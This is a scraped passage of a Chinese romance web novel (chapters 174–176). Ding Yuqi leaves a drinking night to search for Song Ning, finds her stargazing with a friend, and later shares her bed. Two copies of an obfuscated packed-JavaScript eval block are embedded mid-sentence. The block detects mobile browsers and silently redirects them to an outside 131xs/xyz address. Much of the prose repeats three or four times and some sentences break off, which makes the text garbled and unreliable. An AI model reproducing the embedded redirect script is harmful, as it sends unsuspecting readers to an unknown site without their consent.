宋凝还需要时间。 他愿意等。 这天晚上,丁予期做好了在外面过夜的准备。 他去找了萝卜和老姚。 三个人久违的凑在一起把酒言欢。 丁予期轻轻摇晃着酒杯里的冰块,主动问起了大拿的情况,得知对方恢复的还算不错,沉声道:“我永远欠他一个人情,以后无论如何都会还。” 都说大恩不言谢,但大拿可是帮他救回了宋凝,这比救回他的命还来得更有意义。 萝卜抬手拍了下丁予期的肩膀:“不是说好了放松一下么?就别提这些事了,更何况大拿不是已经说过了么?大家都是兄弟,交情跟过命也差不多了,你再说这些话,反倒显得跟他生分。” “是啊,医生说他过一阵就能出院回去做复健了,等他好了,你千万记得带几瓶好酒上门,不然我们都不让你进门。”老姚也嘻嘻哈哈的说了几句。 氛围这才被带回到了原本的轨迹上。 老姚趁热打铁的又打趣道:“趁着今晚难得有空,你就跟我们透句实在话吧,是不是嫂子不让你上床,所以才跑出来了?” 萝卜也跟着凑热闹:“我看嫂子挺温柔的,不是这样的人,是不是你是不是欺负嫂子了?” 他们俩都两眼放光的看着丁予期,试图打听到八卦。 丁予期挑眉:“我欺负她?你们以为我敢吗?” 老姚嗤嗤地笑:“我说的不是那种欺负,是另一种欺负。” 萝卜也秒懂了,嘿嘿嘿地贼笑:“我说丁儿,兄弟们知道你旱了将近三十年,久旱逢甘霖肯定是很难控制,但嫂子毕竟是个女孩子,你悠着点啊,别给嫂子整出阴影了。” 提起这个丁予期就有些无语。 仰头灌了一杯酒,“换个话题。” 老姚看出来点端倪,轻轻碰了碰丁予期的肩膀,轻声问道:“该不会,你猪肉没吃过,猪跑也没看过吧?” 丁予期没有回答,而是自顾自的把酒杯倒满,豪爽道:“回答你们也不是不行,但至少得等到你们把我喝倒下吧?” 萝卜和大姚都知道他酒量好,纷纷直呼他**。 丁予期又灌了自己一杯:“喝不倒我就闭嘴。” 老姚和萝卜对视了一眼,虽然丁予期没回答,但是逃避就是默认。 他们一边觉得好笑,一边也替自家兄弟惋惜。 好不容易抱得美人归了,可小嫂子是个硬气慢热的,需要小火慢炖,且有的等呢。 老姚一把勾住他的肩膀,安慰道:“来吧,兄弟们陪你喝!” 丁予期正要再给他们两个也满上,放在旁边的手机先响了是起来。 是瑞贝卡打电话过来了。 他立刻眉头一皱,接了起来:“什么事?” 时间这么晚了,瑞贝卡是绝不会为鸡毛蒜皮的小事打扰他的。 瑞贝卡果不其然抛出一个重磅**:“丁总,宋小姐刚刚急匆匆离开了酒店,一个人。” 丁予期跟着忧心不已,可是面上半点不露,只同她就在看书时遇到的几个问题沟通了一番,然后悄悄的把露台上的好大儿们放了进来。 它们三个非常上道,立刻凑到她身边卖乖撒娇。 有了这三个狗子插科打诨,宋凝这才被转移了注意力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211281|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻抚摸着狗子们,紧蹙的眉心也渐渐舒展开来。 丁予期温柔地在旁边看了一会儿,确定她的情绪好了一些之后,还是主动退了出去,把房间留给了她一个人。 宋凝还需要时间。 他愿意等。 这天晚上,丁予期做好了在外面过夜的准备。 他去找了萝卜和老姚。 三个人久违的凑在一起把酒言欢。 丁予期轻轻摇晃着酒杯里的冰块,主动问起了大拿的情况,得知对方恢复的还算不错,沉声道:“我永远欠他一个人情,以后无论如何都会还。” 都说大恩不言谢,但大拿可是帮他救回了宋凝,这比救回他的命还来得更有意义。 萝卜抬手拍了下丁予期的肩膀:“不是说好了放松一下么?就别提这些事了,更何况大拿不是已经说过了么?大家都是兄弟,交情跟过命也差不多了,你再说这些话,反倒显得跟他生分。” “是啊,医生说他过一阵就能出院回去做复健了,等他好了,你千万记得带几瓶好酒上门,不然我们都不让你进门。”老姚也嘻嘻哈哈的说了几句。 氛围这才被带回到了原本的轨迹上。 老姚趁热打铁的又打趣道:“趁着今晚难得有空,你就跟我们透句实在话吧,是不是嫂子不让你上床,所以才跑出来了?” 萝卜也跟着凑热闹:“我看嫂子挺温柔的,不是这样的人,是不是你是不是欺负嫂子了?” 他们俩都两眼放光的看着丁予期,试图打听到八卦。 丁予期挑眉:“我欺负她?你们以为我敢吗?” 老姚嗤嗤地笑:“我说的不是那种欺负,是另一种欺负。” 萝卜也秒懂了,嘿嘿嘿地贼笑:“我说丁儿,兄弟们知道你旱了将近三十年,久旱逢甘霖肯定是很难控制,但嫂子毕竟是个女孩子,你悠着点啊,别给嫂子整出阴影了。” 提起这个丁予期就有些无语。 仰头灌了一杯酒,“换个话题。” 老姚看出来点端倪,轻轻碰了碰丁予期的肩膀,轻声问道:“该不会,你猪肉没吃过,猪跑也没看过吧?” 丁予期没有回答,而是自顾自的把酒杯倒满,豪爽道:“回答你们也不是不行,但至少得等到你们把我喝倒下吧?” 萝卜和大姚都知道他酒量好,纷纷直呼他**。 丁予期又灌了自己一杯:“喝不倒我就闭嘴。” 老姚和萝卜对视了一眼,虽然丁予期没回答,但是逃避就是默认。 他们一边觉得好笑,一边也替自家兄弟惋惜。 好不容易抱得美人归了,可小嫂子是个硬气慢热的,需要小火慢炖,且有的等呢。 老姚一把勾住他的肩膀,安慰道:“来吧,兄弟们陪你喝!” 丁予期正要再给他们两个也满上,放在旁边的手机先响了是起来。 是瑞贝卡打电话过来了。 他立刻眉头一皱,接了起来:“什么事?” 时间这么晚了,瑞贝卡是绝不会为鸡毛蒜皮的小事打扰他的。 瑞贝卡果不其然抛出一个重磅**:“丁总,宋小姐刚刚急匆匆离开了酒店,一个人。” 丁予期跟着忧心不已,可是面上半点不露,只同她就在看书时遇到的几个问题沟通了一番,然后悄悄的把露台上的好大儿们放了进来。 它们三个非常上道,立刻凑到她身边卖乖撒娇。 有了这三个狗子插科打诨,宋凝这才被转移了注意力,轻轻抚摸着狗子们,紧蹙的眉心也渐渐舒展开来。 丁予期温柔地在旁边看了一会儿,确定她的情绪好了一些之后,还是主动退了出去,把房间留给了她一个人。 宋凝还需要时间。 他愿意等。 这天晚上,丁予期做好了在外面过夜的准备。 他去找了萝卜和老姚。 三个人久违的凑在一起把酒言欢。 丁予期轻轻摇晃着酒杯里的冰块,主动问起了大拿的情况,得知对方恢复的还算不错,沉声道:“我永远欠他一个人情,以后无论如何都会还。” 都说大恩不言谢,但大拿可是帮他救回了宋凝,这比救回他的命还来得更有意义。 萝卜抬手拍了下丁予期的肩膀:“不是说好了放松一下么?就别提这些事了,更何况大拿不是已经说过了么?大家都是兄弟,交情跟过命也差不多了,你再说这些话,反倒显得跟他生分。” “是啊,医生说他过一阵就能出院回去做复健了,等他好了,你千万记得带几瓶好酒上门,不然我们都不让你进门。”老姚也嘻嘻哈哈的说了几句。 氛围这才被带回到了原本的轨迹上。 老姚趁热打铁的又打趣道:“趁着今晚难得有空,你就跟我们透句实在话吧,是不是嫂子不让你上床,所以才跑出来了?” 萝卜也跟着凑热闹:“我看嫂子挺温柔的,不是这样的人,是不是你是不是欺负嫂子了?” 他们俩都两眼放光的看着丁予期,试图打听到八卦。 丁予期挑眉:“我欺负她?你们以为我敢吗?” 老姚嗤嗤地笑:“我说的不是那种欺负,是另一种欺负。” 萝卜也秒懂了,嘿嘿嘿地贼笑:“我说丁儿,兄弟们知道你旱了将近三十年,久旱逢甘霖肯定是很难控制,但嫂子毕竟是个女孩子,你悠着点啊,别给嫂子整出阴影了。” 提起这个丁予期就有些无语。 仰头灌了一杯酒,“换个话题。” 老姚看出来点端倪,轻轻碰了碰丁予期的肩膀,轻声问道:“该不会,你猪肉没吃过,猪跑也没看过吧?” 丁予期没有回答,而是自顾自的把酒杯倒满,豪爽道:“回答你们也不是不行,但至少得等到你们把我喝倒下吧?” 萝卜和大姚都知道他酒量好,纷纷直呼他**。 丁予期又灌了自己一杯:“喝不倒我就闭嘴。” 老姚和萝卜对视了一眼,虽然丁予期没回答,但是逃避就是默认。 他们一边觉得好笑,一边也替自家兄弟惋惜。 好不容易抱得美人归了,可小嫂子是个硬气慢热的,需要小火慢炖,且有的等呢。 老姚一把勾住他的肩膀,安慰道:“来吧,兄弟们陪你喝!” 丁予期正要再给他们两个也满上,放在旁边的手机先响了是起来。 是瑞贝卡打电话过来了。 他立刻眉头一皱,接了起来:“什么事?” 时间这么晚了,瑞贝卡是绝不会为鸡毛蒜皮的小事打扰他的。 瑞贝卡果不其然抛出一个重磅**:“丁总,宋小姐刚刚急匆匆离开了酒店,一个人。” 丁予期跟着忧心不已,可是面上半点不露,只同她就在看书时遇到的几个问题沟通了一番,然后悄悄的把露台上的好大儿们放了进来。 它们三个非常上道,立刻凑到她身边卖乖撒娇。 有了这三个狗子插科打诨,宋凝这才被转移了注意力,轻轻抚摸着狗子们,紧蹙的眉心也渐渐舒展开来。 丁予期温柔地在旁边看了一会儿,确定她的情绪好了一些之后,还是主动退了出去,把房间留给了她一个人。 宋凝还需要时间。 他愿意等。 这天晚上,丁予期做好了在外面过夜的准备。 他去找了萝卜和老姚。 三个人久违的凑在一起把酒言欢。 丁予期轻轻摇晃着酒杯里的冰块,主动问起了大拿的情况,得知对方恢复的还算不错,沉声道:“我永远欠他一个人情,以后无论如何都会还。” 都说大恩不言谢,但大拿可是帮他救回了宋凝,这比救回他的命还来得更有意义。 萝卜抬手拍了下丁予期的肩膀:“不是说好了放松一下么?就别提这些事了,更何况大拿不是已经说过了么?大家都是兄弟,交情跟过命也差不多了,你再说这些话,反倒显得跟他生分。” “是啊,医生说他过一阵就能出院回去做复健了,等他好了,你千万记得带几瓶好酒上门,不然我们都不让你进门。”老姚也嘻嘻哈哈的说了几句。 氛围这才被带回到了原本的轨迹上。 老姚趁热打铁的又打趣道:“趁着今晚难得有空,你就跟我们透句实在话吧,是不是嫂子不让你上床,所以才跑出来了?” 萝卜也跟着凑热闹:“我看嫂子挺温柔的,不是这样的人,是不是你是不是欺负嫂子了?” 他们俩都两眼放光的看着丁予期,试图打听到八卦。 丁予期挑眉:“我欺负她?你们以为我敢吗?” 老姚嗤嗤地笑:“我说的不是那种欺负,是另一种欺负。” 萝卜也秒懂了,嘿嘿嘿地贼笑:“我说丁儿,兄弟们知道你旱了将近三十年,久旱逢甘霖肯定是很难控制,但嫂子毕竟是个女孩子,你悠着点啊,别给嫂子整出阴影了。” 提起这个丁予期就有些无语。 仰头灌了一杯酒,“换个话题。” 老姚看出来点端倪,轻轻碰了碰丁予期的肩膀,轻声问道:“该不会,你猪肉没吃过,猪跑也没看过吧?” 丁予期没有回答,而是自顾自的把酒杯倒满,豪爽道:“回答你们也不是不行,但至少得等到你们把我喝倒下吧?” 萝卜和大姚都知道他酒量好,纷纷直呼他**。 丁予期又灌了自己一杯:“喝不倒我就闭嘴。” 老姚和萝卜对视了一眼,虽然丁予期没回答,但是逃避就是默认。 他们一边觉得好笑,一边也替自家兄弟惋惜。 好不容易抱得美人归了,可小嫂子是个硬气慢热的,需要小火慢炖,且有的等呢。 老姚一把勾住他的肩膀,安慰道:“来吧,兄弟们陪你喝!” 丁予期正要再给他们两个也满上,放在旁边的手机先响了是起来。 是瑞贝卡打电话过来了。 他立刻眉头一皱,接了起来:“什么事?” 时间这么晚了,瑞贝卡是绝不会为鸡毛蒜皮的小事打扰他的。 瑞贝卡果不其然抛出一个重磅**:“丁总,宋小姐刚刚急匆匆离开了酒店,一个人。” 第一百七十五章 关心则乱 事关重大她根本不敢等到有结果后再来汇报。 丁予期顿时站了起来:“保镖呢?跟着了吗?” “已经让人跟出去了但是目前还没有传回来消息。” 丁予期万万没想到保镖能废物到如此地步连追究责任都顾不上了他整个人都快急疯了连外套都没来得及披上只放下酒杯抓起手机用最快的速度冲了出去。 萝卜和老姚生怕他会去开车赶紧也追了出去。 幸好丁予期只是急的发昏并没有彻底失去理智 等他们一行三人带着试图戴罪立功的大批保镖赶过去坐在山坡上的宋凝和祝如星都被这么大的阵仗吓了一跳。 祝如星看着黑压压一堆保镖一脸懵逼的问:“大晚上的你们这是要去处理什么大事么?” 宋凝见竟然来人这么多人不禁也有点蒙迷茫发问到:“你们也是来看星星的么?这里确实是个不错的观景位但容不下这么多人吧?” 为首的丁予期连气都还没喘匀就先反问到:“什么观景位?” “就是看星星的观景位星星偶然间发现的在这里可以一边吹晚风一边看星星。”宋凝指着天空中璀璨的星辰介绍道。 祝如星拿着相机点头:“我刚刚拍了好几张照片呢你们要不要看一下?” 萝卜和大姚听到这话当即面面相觑的松了口气。 而跟着他们来的保镖更是总算有空擦去满头大汗了他们刚刚在来的路上可是把最糟糕的结果都想好了这时实在是没法不感到庆幸。 “原来是这样……”丁予期缓缓舒出一口气上前对宋凝伸手道“我是来找你的我以为傅……” 宋凝说:“傅东擎不是还在警局么?” “傅学森不是还在酒店住着?” 宋凝眨了眨眼:“我给你发消息了呀你没看到吗?” 丁予期一愣这才拿出手机刷开。 的确有一条未读消息。 【宋凝:我跟星星出去散散步不走远半小时就回来。】 丁予期把手机屏幕按灭:“刚刚没看到。” 宋凝知道他也是关心则乱轻轻摇了摇头:“下次我直接打电话给你说。” 丁予期点了点头:“我没有要限制你行动的意思但傅东擎的父母肯定不会死心安全起见最近你要去哪里还是我陪着你一起比较好。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “好,我知道了。” 丁予期抬头看了一眼夜空,的确有闪闪星光。 祝如星主动站起来说:“星星也看了,照片也拍了,既然现在情况还不那么平静,阿凝,我们就先回去吧。” 宋凝点了点头:“好。” 丁予期在她面前摊开手:“来。” 宋凝犹豫了一下,她原本是坐在一个较高的台子上,要跳下去还是有些难度的。 于是她轻轻把手放在了丁予期的掌心里。 他的手掌宽大干燥,还带着一些微微的薄茧,握住她的时候,力道却很温柔。 宋凝扶着他的手臂和肩膀跳了下来,回头去看祝如星。 丁予期明白她的意思,这次没有伸手,而是绅士地抬起小臂,示意祝如星可以扶着自己下来:“祝小姐。” 祝如星明白过来,当即摆手:“哈哈哈哈,不用了,我自己可以!” 说着,她灵活地一跃而下,稳稳站住了。 她嘿嘿笑:“我们当摄影师的,为了找最佳拍摄角度,爬高上低是家常便饭,这点高度还难不倒我。” 见祝如星安全落地,宋凝也放了心。 丁予期说:“走吧,我们回去。” 他说着,不忘吩咐保镖把祝如星也送回房间,哪怕这里距离卫斯理酒店只有不到五百米。 祝如星最想拍的照片已经到手了,并不介意打道回府,只是瞬间明白了丁予期搞出这么大阵仗的原因,狡黠一笑,临别时调侃宋凝:“都说小别胜新婚,没想到小别的范围是越来越短了,这才半小时都不到吧?” 宋凝说:“主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214414|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要还是担心傅家会报复。” 祝如星露出了一个了然的微笑:“哦~~~” 宋凝哑然失笑。 解释不清。 在回去的路上,她忍不住对丁予期说:“其实你不必这么小心的,大晚上的发动这么多人来找我,有点太兴师动众的,你可以先打个电话给我。” 丁予期神情严肃的申明道,“我们在明,盯着你的人在暗,所以不管你去哪儿,只要是离开卫斯理酒店就一定要告诉我一声,我好安排人保护你。” 宋凝还是觉得有些内疚:“我以后一定会通知你的。” 丁予期微微笑了一下,紧紧握住掌心的手:“好。” 回到酒店的时候,宋凝先去洗漱。 洗完澡出来,却发现他把三只德牧都赶去了还没有放上新床的客房住,自己则搬着新的枕头被子敲开了她的门。 “你这是打算……”她欲言又止的不知道该怎么问。 幸好丁予期现在说话很直接:“你别误会,我只想在你这里打个地铺,没想别的。” 宋凝不明所以的问:“套房里有的是空地方,如果你想打地铺的话,完全没必要来跟我一起挤在这里吧?去客厅还能更宽敞点。” 可丁予期的态度很坚持:“我这次就只是打地铺而已,绝对不会做任何出格的事,你若是不放心的话,我还准备了监控。” 宋凝正要说话,房门再次被人敲响,这一次是瑞贝卡来了,顺便还带来了明天的行程。 “丁总,您明天早上有个例会,下午南边的大客户要来,等到了晚上还有之前应下的商务宴请……明天工作实在很满,您今天务必早点休息。” 她把丁予期明天主要的工作安排说了一遍,仅仅是需要专门腾出空来处理的重要事项就有这么多,更别提其它需要见缝插针的小事了。 宋凝听了这紧锣密鼓的安排都直叹气,扭头用同情的目光看着丁予期问:“你现在还想打地铺么?事先声明,地板绝对比沙发硬,你不信的话可以做个比较试一试。” 第一百七十六章 带着热度的拥抱 丁予期沉默不语,看起来像是在纠结。 宋凝于是主动向瑞贝卡发问:“在最理想的情况下,丁总大概需要多长时间才能把日程安排里的工作都完成?” 她事事分的清楚,既然是问跟工作相关的事,当然就该用工作中的称呼。 瑞贝卡虽然是丁予期的助理,可面对身为酒店经理的宋凝也仍旧会按照流程办事,这时便汇报道:“根据从前的经验来看,即便一切顺利,晚宴也照样得到后半夜才能结束,说不定通宵。” 凡事都不能说的太绝对,不过谈生意毕竟跟其它工作不一样,若是聊的顺利,换个地方继续应酬是常事。 宋凝听的牙酸,再次看向丁予期问:“你确定放着沙发不睡,跑来这里睡地板么?” “确定。”丁予期心意已决,二话不说就开始往地上放被子枕头,看起来是真打算在这里过夜了。 瑞贝卡见此情景,很有眼力见的先行告辞,把房间留给了他们两个。 这天夜里,宋凝久违的又失眠了,她躺在床上辗转反侧,时不时的就会想翻身往门边的地板方向看去,哪怕那里没有传出任何异样的声音。 丁予期虽然睡的是地板,可心态实在是好的惊人,呼吸绵长又匀称,如果不是她提前知道他睡着后的呼吸会变得更浅,这时必然会以为他已经熟睡。 宋凝如此纠结许久,到底还是忍不住轻声问:“你睡着了么?” “没有。”丁予期在黑暗中接了她的话,语气如常的问,“有事就说,时间不早了,再不休息就更睡不着了。” 他是背对着床铺方向侧躺在地上的,从宋凝所在的角度看过去,只能看到一个模糊的背影。 她听他嘴皮子这样利,有心让他就这样睡一宿,可话到嘴边,还是出口道:“你到床上睡吧。” 丁予期的背影肉眼可见的一僵,像是压根没预料到会有这一出,他伸手撑着地板起身,回头问:“你确定?” 不是他信不过自己的耳朵,而是这进展未免也太快了吧? 宋凝意识到方才的话里有歧义,连忙补充解释道:“你别误会,我没有别的意思,只是想到你因为担心我,大半夜的还要跑出去,现在又无床可睡,所以心里过意不去罢了。而且,你明天工作那么多,需要一个好睡眠。” 说着,她往大床另一侧挪去,将这半边床完全空了出来。 丁予期得知她是出于关心才这么做,心潮澎湃了一下,微微勾着唇角挑了挑眉,但他毕竟没有还没有完全丧失理智,所以 深呼吸一口,硬把得意的表情忍了回去。 “你就一点都不担心自己的安全?” 宋凝迟疑了一下:“你虽然嘴毒了一点,人品还不错。” “就这么信任我?”丁予期故意轻佻地调侃她:“小姑娘,这么轻信其他人可是很危险的哦。” 宋凝直接说:“我不是信任你,我是信任党。” 丁予期:? “你不是说,小时候你几乎是在你外公的军营里长大的么?长期在根正苗红的环境下浸染着,我相信党的领导。” 丁予期实在没忍住,摇头失笑:“你这个理由还真是……” 让人猝不及防。 酒店安装的遮光帘质量极佳,将外面的光线严丝合缝的给挡了住,哪怕是已经适应了黑暗的人站在这里,也照样会产生伸手不见五指的念头。 丁予期泛红的耳根和面颊因此遮掩在了黑暗中,他暗自感到庆幸的同时忘了这间卧室的布置跟他先前住的那间不同,在起身收拾被子和枕头时结结实实的撞在了床尾凳上。 砰! 有东西被撞翻在了地上。 宋凝侧身往地下看去,见床头凳已经翻在了丁予期身前,而他则是跟被定住似的停止了动作,关切发问道:“你还好么?” “我没事。”丁予期险些被绊倒,脚踝更是被凳子边缘狠砸了一下,但他为了不在她面前露怯,仍是一声没吭,维持着没事人的模样躺在了她给他留出的半边床铺上。 两人十分默契的选择了背对背的睡姿。 卧室里变得比先前更安静了,就连彼此的呼吸声都能被听的清清楚楚。 宋凝以为自己放下了这桩心事,就能够心安理得的睡过去了,然而她听着从背后传来的渐渐变得清浅的呼吸声,却是再次失眠了。 该不会是被这家伙的乌鸦嘴说中,真的睡不着了吧? 宋凝越想越睡不着,索性悄悄起身下床将遮光帘拉开一角,然后借着月色观察起了床上的丁予期,见他睫毛随着呼吸的频率不住轻颤,鬼使神差的就伸出手去比量了一下。 真是奇怪,平时也没觉得他的睫毛又长又直,怎么凑近了一看会如此让人无法忽视? 丁予期皮肤底子好,面部轮廓也立体,哪怕宋凝用最苛刻的审美标准来看待他的长相,也照样得承认他的骨相和皮相都足够优越,但此时这张脸却是在月光的映照下显出了白日里被藏住疲态。 他果然已经很累了。 宋凝心里登时不是滋味起来,她无声的在心底叹了口气,想回到自己原本的位置上尝试继续入睡,可就在她想要翻身回去的时候,丁予期忽然毫无征兆的出了声:“好看么?” 这话让她当场打了个激灵,是万万没想到他竟然没睡着。 宋凝想要趁着丁予期睁开之前的间隙装成什么都没做的模样,但这已经来不及了,还不等她做出反应,他已经睁开那双深邃的眼睛,幽幽的再次开口了。 “我到底是男人,就算一颗红心向正道,但你好歹尊重一下我的性别。” 他用颇为欠揍的语气说着近似于表白的话,让宋凝不知所措的翻了个身,试图把这一页给揭过去,毕竟她怎么猜得到他压根没睡着?! 这可真是让她肠子都悔青了。 丁予期看着近在咫尺的背影,感到好笑似的扯了下唇角,然后伸出手臂将她拥进了怀里,这是个带着热度的拥抱。 深呼吸一口,硬把得意的表情忍了回去。 “你就一点都不担心自己的安全?” 宋凝迟疑了一下:“你虽然嘴毒了一点,人品还不错。” “就这么信任我?”丁予期故意轻佻地调侃她:“小姑娘,这么轻信其他人可是很危险的哦。” 宋凝直接说:“我不是信任你,我是信任党。” 丁予期:? “你不是说,小时候你几乎是在你外公的军营里长大的么?长期在根正苗红的环境下浸染着,我相信党的领导。” 丁予期实在没忍住,摇头失笑:“你这个理由还真是……” 让人猝不及防。 酒店安装的遮光帘质量极佳,将外面的光线严丝合缝的给挡了住,哪怕是已经适应了黑暗的人站在这里,也照样会产生伸手不见五指的念头。 丁予期泛红的耳根和面颊因此遮掩在了黑暗中,他暗自感到庆幸的同时忘了这间卧室的布置跟他先前住的那间不同,在起身收拾被子和枕头时结结实实的撞在了床尾凳上。 砰! 有东西被撞翻在了地上。 宋凝侧身往地下看去,见床头凳已经翻在了丁予期身前,而他则是跟被定住似的停止了动作,关切发问道:“你还好么?” “我没事。”丁予期险些被绊倒,脚踝更是被凳子边缘狠砸了一下,但他为了不在她面前露怯,仍是一声没吭,维持着没事人的模样躺在了她给他留出的半边床铺上。 两人十分默契的选择了背对背的睡姿。 卧室里变得比先前更安静了,就连彼此的呼吸声都能被听的清清楚楚。 宋凝以为自己放下了这桩心事,就能够心安理得的睡过去了,然而她听着从背后传来的渐渐变得清浅的呼吸声,却是再次失眠了。 该不会是被这家伙的乌鸦嘴说中,真的睡不着了吧? 宋凝越想越睡不着,索性悄悄起身下床将遮光帘拉开一角,然后借着月色观察起了床上的丁予期,见他睫毛随着呼吸的频率不住轻颤,鬼使神差的就伸出手去比量了一下。 真是奇怪,平时也没觉得他的睫毛又长又直,怎么凑近了一看会如此让人无法忽视? 丁予期皮肤底子好,面部轮廓也立体,哪怕宋凝用最苛刻的审美标准来看待他的长相,也照样得承认他的骨相和皮相都足够优越,但此时这张脸却是在月光的映照下显出了白日里被藏住疲态。 他果然已经很累了。 宋凝心里登时不是滋味起来,她无声的在心底叹了口气,想回到自己原本的位置上尝试继续入睡,可就在她想要翻身回去的时候,丁予期忽然毫无征兆的出了声:“好看么?” 这话让她当场打了个激灵,是万万没想到他竟然没睡着。 宋凝想要趁着丁予期睁开之前的间隙装成什么都没做的模样,但这已经来不及了,还不等她做出反应,他已经睁开那双深邃的眼睛,幽幽的再次开口了。 “我到底是男人,就算一颗红心向正道,但你好歹尊重一下我的性别。” 他用颇为欠揍的语气说着近似于表白的话,让宋凝不知所措的翻了个身,试图把这一页给揭过去,毕竟她怎么猜得到他压根没睡着?! 这可真是让她肠子都悔青了。 丁予期看着近在咫尺的背影,感到好笑似的扯了下唇角,然后伸出手臂将她拥进了怀里,这是个带着热度的拥抱。 深呼吸一口,硬把得意的表情忍了回去。 “你就一点都不担心自己的安全?” 宋凝迟疑了一下:“你虽然嘴毒了一点,人品还不错。” “就这么信任我?”丁予期故意轻佻地调侃她:“小姑娘,这么轻信其他人可是很危险的哦。” 宋凝直接说:“我不是信任你,我是信任党。” 丁予期:? “你不是说,小时候你几乎是在你外公的军营里长大的么?长期在根正苗红的环境下浸染着,我相信党的领导。” 丁予期实在没忍住,摇头失笑:“你这个理由还真是……” 让人猝不及防。 酒店安装的遮光帘质量极佳,将外面的光线严丝合缝的给挡了住,哪怕是已经适应了黑暗的人站在这里,也照样会产生伸手不见五指的念头。 丁予期泛红的耳根和面颊因此遮掩在了黑暗中,他暗自感到庆幸的同时忘了这间卧室的布置跟他先前住的那间不同,在起身收拾被子和枕头时结结实实的撞在了床尾凳上。 砰! 有东西被撞翻在了地上。 宋凝侧身往地下看去,见床头凳已经翻在了丁予期身前,而他则是跟被定住似的停止了动作,关切发问道:“你还好么?” “我没事。”丁予期险些被绊倒,脚踝更是被凳子边缘狠砸了一下,但他为了不在她面前露怯,仍是一声没吭,维持着没事人的模样躺在了她给他留出的半边床铺上。 两人十分默契的选择了背对背的睡姿。 卧室里变得比先前更安静了,就连彼此的呼吸声都能被听的清清楚楚。 宋凝以为自己放下了这桩心事,就能够心安理得的睡过去了,然而她听着从背后传来的渐渐变得清浅的呼吸声,却是再次失眠了。 该不会是被这家伙的乌鸦嘴说中,真的睡不着了吧? 宋凝越想越睡不着,索性悄悄起身下床将遮光帘拉开一角,然后借着月色观察起了床上的丁予期,见他睫毛随着呼吸的频率不住轻颤,鬼使神差的就伸出手去比量了一下。 真是奇怪,平时也没觉得他的睫毛又长又直,怎么凑近了一看会如此让人无法忽视? 丁予期皮肤底子好,面部轮廓也立体,哪怕宋凝用最苛刻的审美标准来看待他的长相,也照样得承认他的骨相和皮相都足够优越,但此时这张脸却是在月光的映照下显出了白日里被藏住疲态。 他果然已经很累了。 宋凝心里登时不是滋味起来,她无声的在心底叹了口气,想回到自己原本的位置上尝试继续入睡,可就在她想要翻身回去的时候,丁予期忽然毫无征兆的出了声:“好看么?” 这话让她当场打了个激灵,是万万没想到他竟然没睡着。 宋凝想要趁着丁予期睁开之前的间隙装成什么都没做的模样,但这已经来不及了,还不等她做出反应,他已经睁开那双深邃的眼睛,幽幽的再次开口了。 “我到底是男人,就算一颗红心向正道,但你好歹尊重一下我的性别。” 他用颇为欠揍的语气说着近似于表白的话,让宋凝不知所措的翻了个身,试图把这一页给揭过去,毕竟她怎么猜得到他压根没睡着?! 这可真是让她肠子都悔青了。 丁予期看着近在咫尺的背影,感到好笑似的扯了下唇角,然后伸出手臂将她拥进了怀里,这是个带着热度的拥抱。 深呼吸一口,硬把得意的表情忍了回去。 “你就一点都不担心自己的安全?” 宋凝迟疑了一下:“你虽然嘴毒了一点,人品还不错。” “就这么信任我?”丁予期故意轻佻地调侃她:“小姑娘,这么轻信其他人可是很危险的哦。” 宋凝直接说:“我不是信任你,我是信任党。” 丁予期:? “你不是说,小时候你几乎是在你外公的军营里长大的么?长期在根正苗红的环境下浸染着,我相信党的领导。” 丁予期实在没忍住,摇头失笑:“你这个理由还真是……” 让人猝不及防。 酒店安装的遮光帘质量极佳,将外面的光线严丝合缝的给挡了住,哪怕是已经适应了黑暗的人站在这里,也照样会产生伸手不见五指的念头。 丁予期泛红的耳根和面颊因此遮掩在了黑暗中,他暗自感到庆幸的同时忘了这间卧室的布置跟他先前住的那间不同,在起身收拾被子和枕头时结结实实的撞在了床尾凳上。 砰! 有东西被撞翻在了地上。 宋凝侧身往地下看去,见床头凳已经翻在了丁予期身前,而他则是跟被定住似的停止了动作,关切发问道:“你还好么?” “我没事。”丁予期险些被绊倒,脚踝更是被凳子边缘狠砸了一下,但他为了不在她面前露怯,仍是一声没吭,维持着没事人的模样躺在了她给他留出的半边床铺上。 两人十分默契的选择了背对背的睡姿。 卧室里变得比先前更安静了,就连彼此的呼吸声都能被听的清清楚楚。 宋凝以为自己放下了这桩心事,就能够心安理得的睡过去了,然而她听着从背后传来的渐渐变得清浅的呼吸声,却是再次失眠了。 该不会是被这家伙的乌鸦嘴说中,真的睡不着了吧? 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丁予期皮肤底子好,面部轮廓也立体,哪怕宋凝用最苛刻的审美标准来看待他的长相,也照样得承认他的骨相和皮相都足够优越,但此时这张脸却是在月光的映照下显出了白日里被藏住疲态。 他果然已经很累了。 宋凝心里登时不是滋味起来,她无声的在心底叹了口气,想回到自己原本的位置上尝试继续入睡,可就在她想要翻身回去的时候,丁予期忽然毫无征兆的出了声:“好看么?” 这话让她当场打了个激灵,是万万没想到他竟然没睡着。 宋凝想要趁着丁予期睁开之前的间隙装成什么都没做的模样,但这已经来不及了,还不等她做出反应,他已经睁开那双深邃的眼睛,幽幽的再次开口了。 “我到底是男人,就算一颗红心向正道,但你好歹尊重一下我的性别。” 